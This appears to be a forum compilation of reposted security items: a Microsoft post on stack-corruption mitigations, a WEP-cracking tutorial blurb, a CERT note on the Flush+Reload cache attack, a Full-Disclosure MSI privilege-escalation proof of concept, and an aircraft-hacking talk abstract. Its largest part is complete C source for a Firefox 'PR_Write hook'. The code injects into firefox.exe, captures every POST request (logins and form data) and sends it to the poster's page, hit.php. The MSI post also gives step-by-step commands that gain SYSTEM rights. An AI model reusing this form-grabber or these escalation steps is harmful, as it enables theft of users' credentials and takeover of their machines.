do occasionally arise in practice – for example MS08-067 which was an underrun of a stack-based array, these are relatively isolated examples. As attacker focus has shifted to the heap, so the priority accorded to improving defensive measures there has increased. Conclusion Exploitation of stack-based corruption vulnerabilities is one of the oldest forms of memory safety exploit. History shows a succession of mitigation refinements developed to counter to attacker innovations in this area. We note a series of evolutions: - Mitigation robustness and completeness has improved over time, including the protection of arrays of pointers by /GS in Visual Studio 2013 and a move to a per-process rather than a system-wide secret for SEHOP in Windows 8.1. - Counter-measures to thwart exception handler abuse have evolved from expensive (from an engineering perspective) measures such as /SAFESEH that requires recompilation to OS-based SEHOP that can be applied on a per-process basis to existing applications. - Default settings have evolved over time; e.g. user-mode SEHOP is now on-by-default for applications designed for Windows 8 and Windows 8.1, and kernel mode SEHOP is both new and enabled in Windows 8.1. A state of relative maturity has been reached with fewer stack-based vulnerabilities being reported or exploited. Does this mean we are “done”? – by no means! Rather attacker attention appears to have turned to other less mature areas. And as attacker focus has shifted, so has defense. The next article takes a closer look at some of the advances related to memory corruption on the heap. Tim Burrell, MSEC Security Science Sursa: https://blogs.technet.com/b/srd/archive/2013/10/02/software-defense-mitigating-stack-corruption-vulnerabilties.aspx?Redirected=true

Automated Wep Cracking With Wiffy Script Description: In this tutorial for Cr0w's Place we are cracking the WEP protocol with an automated script called Wiffy. You can download Wiffy.sh from here: Nitrobits.com - Download wiffy.sh You can buy Alfa AWUS036H card that I used from: Amazon.com : Alfa AWUS036H 1000mW 1W 802.11b/g USB Wireless WiFi network Adapter with 5dBi Antenna and Suction cup Window Mount dock - for Wardriving & Range Extension : Usb Computer Network Adapters : Computers & Accessories Compatibility list for wifi hardware: compatibility_drivers [Aircrack-ng] Everything you are going to see is for educational purposes only, so operate carefully and in your own property. I bring no responsibility in what happens to you if you act irresponsibly. If you like my job please Subscribe. Thank You For Watching. Sursa: Automated Wep Cracking With Wiffy Script

[h=1][C]FireFox PR_Write Hook[/h][h=3] TheAnomaly Posted 24 December 2010 - 05:05 PM [/h]This is FireFox DLL-less PR_Write function hooker, in other words it will send all POST data sent from FireFox to your own page where it can be sorted and stored. It can be optimized by using other thread or process for sending the captured POST data, but at the moment it doesnt slow FireFox really. Its tested with version 3.6 or so but should works on latest version too. #include <stdio.h>#include <windows.h> #include <Tlhelp32.h> #include <wininet.h> typedef HMODULE (WINAPI *GMH) (LPCTSTR); typedef FARPROC (WINAPI *GPA) (HMODULE,LPCSTR); typedef int (WINAPI *VP) (LPVOID,SIZE_T,DWORD,PDWORD); typedef HINTERNET (WINAPI *IO) (LPCTSTR,DWORD,LPCTSTR,LPCTSTR,DWORD); typedef HINTERNET (WINAPI *IC)(HINTERNET,LPCTSTR,INTERNET_PORT,LPCTSTR,LPCTSTR,DWORD,DWORD,DWORD_PTR); typedef HINTERNET (WINAPI *HOR) (HINTERNET,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR*,DWORD,DWORD_PTR); typedef BOOL (WINAPI *HSR)(HINTERNET,LPCTSTR,DWORD,LPVOID,DWORD); typedef VOID (WINAPI *Slep)(DWORD); typedef struct { GMH GetMH; //GetModuleHandle GPA GetPA; //GetProcAddress VP SetVP; //VirtualProtect Slep Slepx; //Sleep char ModuleName[36]; //"nspr4.dll" char Proc[36]; //"PR_Write" BYTE *PR_Write; BYTE *nptr; DWORD *bptr; DWORD OldProtect; char blank[3]; char localhost[16]; char post[10]; char visit[16]; char header[64]; HINTERNET OpenHandle; HINTERNET ConnectHandle; HINTERNET Handle; int nLen; char *pVar; IO IOx; IC ICx; HOR HORx; HSR HSRx; } Inject_Data; void Hook(Inject_Data *pData); int main() { Inject_Data Data; LPVOID Mem,Prm; HANDLE rThread; HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 ProcessInfo; ProcessInfo.dwSize = sizeof(PROCESSENTRY32); LoadLibrary("wininet.dll"); Data.GetMH =(GMH) GetProcAddress(GetModuleHandle("kernel32.dll"),"GetModuleHandleA"); Data.GetPA = (GPA)GetProcAddress(GetModuleHandle("kernel32.dll"),"GetProcAddress"); Data.IOx = (IO)GetProcAddress(GetModuleHandle("wininet.dll"),"InternetOpenA"); Data.ICx = (IC)GetProcAddress(GetModuleHandle("wininet.dll"),"InternetConnectA"); Data.HORx = (HOR)GetProcAddress(GetModuleHandle("wininet.dll"),"HttpOpenRequestA"); Data.HSRx = (HSR)GetProcAddress(GetModuleHandle("wininet.dll"),"HttpSendRequestA"); Data.SetVP = (VP)GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualProtect"); Data.Slepx = (Slep)GetProcAddress(GetModuleHandle("kernel32.dll"),"Sleep"); wsprintf(Data.ModuleName,"nspr4.dll"); wsprintf(Data.Proc,"PR_Write"); wsprintf(Data.localhost,"localhost"); wsprintf(Data.post,"POST"); wsprintf(Data.visit,"/hit.php"); wsprintf(Data.header,"Content-Type:application/x-www-form-urlencoded"); wsprintf(Data.blank,""); while(Process32Next(handle, &ProcessInfo)) { if(!strcmp(ProcessInfo.szExeFile, "firefox.exe")) { handle = OpenProcess(PROCESS_ALL_ACCESS,0,ProcessInfo.th32ProcessID); Prm = VirtualAllocEx(handle,NULL,sizeof(Data),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); WriteProcessMemory(handle,Prm,&Data,sizeof(Data),NULL); Mem = VirtualAllocEx(handle,NULL,2000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); WriteProcessMemory(handle,Mem,Hook,2000,NULL); rThread = CreateRemoteThread(handle,NULL,0,(LPTHREAD_START_ROUTINE)Mem,Prm,0,NULL); WaitForSingleObject(rThread, INFINITE); CloseHandle(handle); } } return 0; } void Hook(Inject_Data *pData) { BYTE *temp; goto start; Hooked: __asm{ mov ecx,[esp+0xC] mov eax,[esp+0x8] cmp dword ptr[eax],0x54534F50 // POST? jne prexJMP //its not POST push ecx call getDelta4 //Get the delta getDelta4: pop ecx sub ecx,offset getDelta4 lea eax,Data add eax,ecx pop ecx mov eax,[eax] mov pData,eax mov eax,[esp+0x8] mov temp,eax } pData->pVar = temp; __asm{ nop } __asm{ mov ecx,[esp+0xC] } __asm{ mov temp,ecx } __asm{ nop } pData->nLen = temp; __asm{ nop } *pData->pVar = 0x72; pData->pVar++; *pData->pVar = 0x3D; pData->pVar--; pData->Handle = pData->ICx(pData->OpenHandle,pData->localhost,8080,pData->blank,pData->blank,INTERNET_SERVICE_HTTP,0,0); pData->ConnectHandle = pData->HORx(pData->Handle,pData->post,pData->visit,NULL,NULL,NULL,INTERNET_FLAG_KEEP_CONNECTION,0); pData->HSRx(pData->ConnectHandle,pData->header,-1L,pData->pVar,pData->nLen); *pData->pVar = 0x50; pData->pVar++; *pData->pVar = 0x4F; pData->pVar--; prexJMP: __asm{ MOV EAX,DWORD PTR [ESP+4] MOV ECX,DWORD PTR [EAX] } xJMP: __asm{ jmp ExitProcess } Data: __asm{ nop nop nop nop } start: pData->PR_Write = (BYTE*) pData->GetPA(pData->GetMH(pData->ModuleName),pData->Proc); pData->SetVP(pData->PR_Write,6,PAGE_EXECUTE_READWRITE,&pData->OldProtect); //ptr = (BYTE*) Hooked; __asm{ push ecx } __asm{ call getDelta } //Get the delta __asm{ getDelta: } __asm{ pop ecx } __asm{ sub ecx,offset getDelta } __asm{ push eax } __asm{ lea eax,Hooked } __asm{ add eax,ecx } __asm{ mov temp,eax } __asm{ pop eax } __asm{ pop ecx } pData->nptr = temp; pData->nptr = pData->nptr - pData->PR_Write; pData->nptr = pData->nptr - 5; *pData->PR_Write = 0xE9; pData->PR_Write++; pData->bptr = (DWORD*) pData->PR_Write; *pData->bptr = (DWORD) pData->nptr; pData->PR_Write = pData->PR_Write + 4; *pData->PR_Write = 0xCC; pData->PR_Write++; __asm{ push ecx } __asm{ call getDelta1 } //Get the delta __asm{ getDelta1: } __asm{ pop ecx } __asm{ sub ecx,offset getDelta1 } __asm{ push eax } __asm{ lea eax,xJMP } __asm{ add eax,ecx } __asm{ mov temp,eax } __asm{ pop eax } __asm{ pop ecx } pData->nptr = temp; pData->PR_Write = pData->PR_Write - pData->nptr; pData->PR_Write = pData->PR_Write - 5; pData->nptr++; pData->OldProtect = 0; pData->SetVP(pData->nptr,10,PAGE_EXECUTE_READWRITE,&pData->OldProtect); pData->bptr = (DWORD*) pData->nptr; *pData->bptr = (DWORD) pData->PR_Write; temp = (BYTE *) pData; __asm{ push ecx } __asm{ call getDelta2 } //Get the delta __asm{ getDelta2: } __asm{ pop ecx } __asm{ sub ecx,offset getDelta2 } __asm{ push eax } __asm{ push ebx } __asm{ lea eax,Data } __asm{ add eax,ecx } __asm{ mov ebx,temp } __asm{ mov dword ptr[eax],ebx } __asm{ pop ebx } __asm{ pop eax } __asm{ pop ecx } /*start the connection */ pData->OpenHandle = pData->IOx(pData->localhost,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); for( { pData->Slepx(1000); } } Sursa: [C]FireFox PR_Write Hook - Source Codes - rohitab.com - Forums

L3 CPU shared cache architecture is susceptible to a Flush+Reload side-channel attack Overview L3 CPU shared cache architecture is susceptible to a Flush+Reload side-channel attack, resulting in information leakage. allowing a local attacker to derive the contents of memory not belonging to the attacker. Description [TABLE=class: wrapper-table] [TR] [TD]Common L3 CPU shared cache architecture is susceptible to a Flush+Reload side-channel attack, as described in "Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack" by Yarom and Falkner. By manipulating memory stored in the L3 cache by a target process and observing timing differences between requests for cached and non-cached memory, an attacker can derive specific information about the target process. The paper demonstrates an attack against GnuPG on an Intel Ivy Bridge platform that recovers over 98% of the bits of an RSA private key. This vulnerability is an example of CWE-200: Information Exposure.[/TD] [/TR] [/TABLE] Impact [TABLE=class: wrapper-table] [TR] [TD]A local attacker can derive the contents of memory shared with another process on the same L3 cache (same physical CPU). Virtualization and cryptographic software are examples that are likely to be vulnerable. An attacker on the same host operating system only needs read access to the executable file or a shared library component of the target process. An attacker on a different virtual machine similarly needs access to an exact copy of the executable or shared library used by the target process, and the hypervisor needs to have memory page de-duplication enabled.[/TD] [/TR] [/TABLE] Solution [TABLE=class: wrapper-table] [TR] [TD]Apply an Update See the Vendor Information section below for additional information. GnuPG has released GnuPG version 1.4.14 and Libgcrypt 1.5.3 to to address this vulnerability. CVE-2013-4242 has been assigned to the specific GnuPG vulnerability described in the Yarom/Falkner paper. The CVSS score below applies specifically to CVE-2013-4242.[/TD] [/TR] [/TABLE] [TABLE=class: wrapper-table] [TR] [TD]Disable Memory Page De-duplication To prevent this attack on virtualization platforms, disable hypervisor memory page de-duplication.[/TD] [/TR] [/TABLE] Vendor Information (Learn More) [TABLE] [TR=class: row-alt] [TH=bgcolor: #EBEBEB, align: left]Vendor[/TH] [TH=bgcolor: #EBEBEB, align: center]Status[/TH] [TH=bgcolor: #EBEBEB, align: center]Date Notified[/TH] [TH=bgcolor: #EBEBEB, align: center]Date Updated[/TH] [/TR] [TR] [TD=class: vendor, align: left]libgcrypt[/TD] [TD=class: status, align: center]Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]16 Aug 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]Linux KVM[/TD] [TD=class: status, align: center]Affected[/TD] [TD=class: notified, align: center]15 Aug 2013[/TD] [TD=class: updated, align: center]16 Aug 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]Red Hat, Inc.[/TD] [TD=class: status, align: center]Affected[/TD] [TD=class: notified, align: center]13 Sep 2013[/TD] [TD=class: updated, align: center]13 Sep 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]VMware[/TD] [TD=class: status, align: center]Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]Xen[/TD] [TD=class: status, align: center]Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]Cryptlib[/TD] [TD=class: status, align: center]Not Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]GnuTLS[/TD] [TD=class: status, align: center]Not Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]Intel Corporation[/TD] [TD=class: status, align: center]Not Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]OpenSSL[/TD] [TD=class: status, align: center]Not Affected[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]Amazon[/TD] [TD=class: status, align: center]Unknown[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]AMD[/TD] [TD=class: status, align: center]Unknown[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]16 Aug 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]Attachmate[/TD] [TD=class: status, align: center]Unknown[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]03 Sep 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]Certicom[/TD] [TD=class: status, align: center]Unknown[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]16 Aug 2013[/TD] [/TR] [TR=class: row-alt] [TD=class: vendor, align: left]Crypto++ Library[/TD] [TD=class: status, align: center]Unknown[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]16 Aug 2013[/TD] [/TR] [TR] [TD=class: vendor, align: left]EMC Corporation[/TD] [TD=class: status, align: center]Unknown[/TD] [TD=class: notified, align: center]16 Aug 2013[/TD] [TD=class: updated, align: center]16 Aug 2013[/TD] [/TR] [/TABLE] If you are a vendor and your product is affected, let us know.View More » CVSS Metrics (Learn More) [TABLE] [TR] [TH=bgcolor: #EBEBEB, align: left]Group[/TH] [TH=bgcolor: #EBEBEB, align: center]Score[/TH] [TH=bgcolor: #EBEBEB, align: left]Vector[/TH] [/TR] [TR] [TD=class: cvss-metric-group, align: left]Base[/TD] [TD=class: cvss-score, align: center]2.4[/TD] [TD=class: cvss-vector, align: left]AV:L/AC:H/Au:S/C:P/I:P/A:N[/TD] [/TR] [TR] [TD=class: cvss-metric-group, align: left]Temporal[/TD] [TD=class: cvss-score, align: center]1.9[/TD] [TD=class: cvss-vector, align: left]E:POC/RL:OF/RC:C[/TD] [/TR] [TR] [TD=class: cvss-metric-group, align: left]Environmental[/TD] [TD=class: cvss-score, align: center]2.3[/TD] [TD=class: cvss-vector, align: left]CDP:ND/TD:M/CR:H/IR:H/AR:ND[/TD] [/TR] [/TABLE] References http://eprint.iacr.org/2013/448.pdf CWE - CWE-200: Information Exposure (2.5) [Announce] [security fix] GnuPG 1.4.14 released [Announce] [security fix] Libgcrypt 1.5.3 released Credit Thanks to Yuval Yarom and Katrina Falkner for reporting this vulnerability and for help writing this document. This document was written by Adam Rauf. Other Information CVE IDs: CVE-2013-4242 Date Public: 05 Sep 2013 Date First Published: 01 Oct 2013 Date Last Updated: 01 Oct 2013 Document Revision: 33 Sursa: Vulnerability Note VU#976534 - L3 CPU shared cache architecture is susceptible to a Flush+Reload side-channel attack Paper: http://eprint.iacr.org/2013/448.pdf

Defense in depth -- the Microsoft way (part 10) From: "Stefan Kanthak" <stefan.kanthak () nexgo de> Date: Sat, 21 Sep 2013 23:06:13 +0200 Hi @ll, all products, security patches and hotfixes distributed as self- extracting packages (IExpress, "update.exe" etc.) which contain a *.MSI or *.MSP leave dangling references to these files after their installation. "In certain situations ..." (see below) these dangling references allow a privilege escalation. Proof of concept (run on a fully patched Windows 7 SP1): Step 0: a) lögin as UNPRIVILEGED user. Step 1: a) download the IExpress package "CAPICOM-KB931906-v2102.exe" from <http://www.microsoft.com/en-us/download/details.aspx?id=3207> resp. <http://technet.microsoft.com/security/bulletin/ms07-028> check/verify the Authenticode (digital) signature of the downloaded "CAPICOM-KB931906-v2102.exe" c) execute the downloaded "CAPICOM-KB931906-v2102.exe" (UAC will ask for confirmation or prompt for administrative credentials): * the IExpress installer unpacks its contents into the directory "%TEMP%\IXP000.TMP\", calls MSIEXEC.EXE to install the unpacked "capicom2.msi" and removes the temporary directory afterwards; * MSIEXEC.EXE creates the following registry entries with dangling references to the (later) deleted "capicom2.msi" in the removed temporary directory: [HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList] "PackageName"="capicom2.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [[HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList\Media] "DiskPrompt"="Security Update for CAPICOM (KB931906) Installation Disk" "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Microsoft\Windows\CurrentVersion\Uninstall\{0EFDF2F9-836D-4EB7-A32D-038BD3F1FB2A}] "InstallSource"="C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" Step 2: a) extract "capicom2.msi" from "CAPICOM-KB931906-v2102.exe" (see <http://support.microsoft.com/kb/197147> for instructions). recreate the directory "%TEMP%\IXP000.TMP\". c) copy the extracted "capicom2.msi" to "%TEMP%\IXP000.TMP\". d) check/verify the Authenticode (digital) signature of "%TEMP%\IXP000.TMP\capicom2.msi". e) open "%TEMP%\IXP000.TMP\capicom2.msi" with the .MSI editor of your choice and insert (for example) the following column into its 'registry' table: REGKEY0,2,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,OUCH!,cmd.exe /k echo %CMDCMDLINE%,COM2000 or (for example) the following column into its 'CustomAction' table: OUCH!,3122,cmd.exe,/k title %USERDOMAIN%\%USERNAME% f) check the Authenticode signature of the modified "capicom2.msi": it is INVALID now! g) execute "MSIEXEC.EXE /A %TEMP%\IXP000.TMP\capicom2.msi" and follow the dialogs. Especially notice that NO warning/hint about the broken/invalid Authenticode signature is displayed! OUCH! Step 3: a) read <http://support.microsoft.com/kb/944298>: | In certain situations, Setup cannot find the .msi file in the | Windows Installer cache. In these situations, Setup tries to | resolve the source location by testing for the presence of the | product installation in the last-used location when Setup was | last run. If Setup cannot resolve the source location, the user | is prompted to provide the installation media. determine the name of the cached .MSI file, for example via: REG.EXE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData \S-1-5-18\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\InstallProperties" /v "LocalPackage" (its pathname is "%SystemRoot%\Installer\<random>.msi"). c) delete the cached .MSI file found in the substep before. Yes, this needs administrative rights; but read MSKB 944298 again: "in certain situations ...". I just enforce such a certain situation! d) execute "MSIEXEC.EXE /fm {0EFDF2F9-836D-4EB7-A32D-038BD3F1FB2A}". Again: NO warning/hint about the broken/invalid Authenticode signature is displayed. And: UAC does NOT prompt for confirmation or credentials! If you added a column to the 'CustomAction' table CMD.EXE runs and shows "NT AUTHORITY\SYSTEM" in its title bar. e) execute REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "OUCH!" and conclude that the modified "%TEMP%\IXP000.TMP\capicom2.msi" was run with administrative (really: "LocalSystem") privileges. Timeline: ~~~~~~~~~ 2008-04-09 informed vendor that MSKB 931906 creates dangling references and MSIEXEC.EXE /f... prompts user for location of capicom2.msi 2008-04-11 vendor asked: "have you tried removing the update via Add/Remove Programs and then re-installing?" 2008-04-11 replied to vendor: that's NOT the point here ... no more answer! 2013-05-20 next try... stay tuned Stefan Kanthak PS: as examples for other self-extracting packages use "msxml4-KB2758694-enu.exe" and "msxml6-KB2758696-enu-x86.exe", available from <http://www.microsoft.com/en-us/download/details.aspx?id=36292> and <http://www.microsoft.com/en-us/download/details.aspx?id=36316> resp. <http://technet.microsoft.com/security/bulletin/MS13-002>, which create the following registry entries: [HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList] "PackageName"="msxml6.msi" "LastUsedSource"=expand:"n;1;c:\\c3d7dd340cec94ff5838ba93\\" [HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList\Media] "DiskPrompt"="[1]" "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList\Net] "1"=expand:"c:\\c3d7dd340cec94ff5838ba93\\" Other products which exhibit the same problem are (not exhaustive, in no particular order): 1. Microsoft Security Essentials [HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList] "PackageName"="dw20shared.msi" "LastUsedSource"=expand:"n;1;c:\\62bf30c6a367eb52738a55\\x86\\" [HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList\Media] "DiskPrompt"="Microsoft Application Error Reporting" "1"="OFFICE12;1" [HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList\Net] "1"=expand:"c:\\62bf30c6a367eb52738a55\\x86\\" "2"=expand:"C:\\Program Files\\Microsoft Security Client\\Backup\\" [HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList] "PackageName"="epp.msi" "LastUsedSource"=expand:"n;1;c:\\0d149c673ede07404629f38d05a7\\x86\\" [HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList\Media] "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList\Net] "1"=expand:"C:\\0d149c673ede07404629f38d05a7\\x86\\" "2"=expand:"C:\\Program Files\\Microsoft Security Client\\Backup\\" 2. .NET Framework 1.1 [HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList] "PackageName"="netfx.msi" "LastUsedSource"=expand:"n;1;C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList\Media] "DiskPrompt"="[1]" "1"=";Microsoft .NET Framework 1.1 [Disk 1]" ... "21"="URTSTDD1;Microsoft .NET Framework 1.1 [Disk 1]" ... [HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList\Net] "1"=expand:"C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList] "PackageName"="tmp517.tmp" "LastUsedSource"=expand:"n;1;C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList\Media] "DiskPrompt"="[1]" "20872"=";Microsoft .NET Framework 1.1 Service Pack 1 (KB867460)" [HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList\Net] "1"=expand:"C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" ... 3. Visual C++ 2005 Redistributable 8.0.56336 [HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList] "PackageName"="vcredist.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\" [HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList\Media] 1=";Microsoft Visual C++ 2005 Redistributable [Disk 1]" DiskPrompt="[1]" [HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\" 4. Visual C++ 2005 Redistributable (x64) 8.0.59192 "PackageName"="vcredist.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\" 5. Visual C++ 2005 Redistributable (x64) 8.0.61000 "PackageName"="vcredist.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" 6. Virtual PC 2007 Service Pack 1 [HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList] "PackageName"="Virtual_PC_2007_Install.msi" "LastUsedSource"="n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList\Media] "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList] "PackageName"="KB958162.msp" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\Downloads\\" [HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList\Media] "100"=";" [HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\Downloads\\" "2"=expand:"PatchSourceList" 7. Windows Media Player Firefox Plugin [HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList] "PackageName"="ffplugin.msi" "LastUsedSource"="n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList\Media] "DiskPrompt"="Windows Media Player Firefox Plugin Installation" "1"=";CD-ROM #1" [HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" _______________________________________________ Full-Disclosure - We believe in it. Charter: [Full-Disclosure] Mailing List Charter Hosted and sponsored by Secunia - Computer Security - Software & Alerts - Secunia Sursa: Full Disclosure: Defense in depth -- the Microsoft way (part 10)

Hitb 2013 - Hugo Teso - Aircraft Hacking: Practical Aero Series Description: PRESENTATION ABSTRACT: This presentation will be a practical demonstration on how to remotely attack and take full control of an aircraft, exposing some of the results of my three years research on the aviation security field. The attack performed will follow the classical methodology, divided in discovery, information gathering, exploitation and post-exploitation phases. The complete attack will be accomplished remotely, without needing physical access to the target aircraft at any time, and a testing laboratory will be used to attack virtual airplanes systems. ADS-B and ACARS protocols will be used during the discovery and information gather phases, but none of those protocols are the objective of this research, I will just use them to plot and analyze the potential targets. Very basic information on such protocols will be displayed as well as additional references for further reading. The real target of the attacks will be some on-board systems, complex enough to be vulnerable to (almost) common vulnerability research and exploitation techniques. Different post-exploitation vectors will finally be considered in order to gain better aircraft control. ABOUT HUGO TESO Hugo Teso works as a security consultant at n.runs AG in Germany. He has been working on IT security for the last 11 years, mainly in Spain. Also being a commercial pilot, it was just a matter of time before he focused his attention on aviation security. Together with the development of some open source projects, like Inguma and Bokken, he has spent a lot of time on aviation security research and has presented some of the results in conferences like RootedCon. For More Information please visit : - HITBSecConf - NETHERLANDS / MALAYSIA Sursa: Hitb 2013 - Hugo Teso - Aircraft Hacking: Practical Aero Series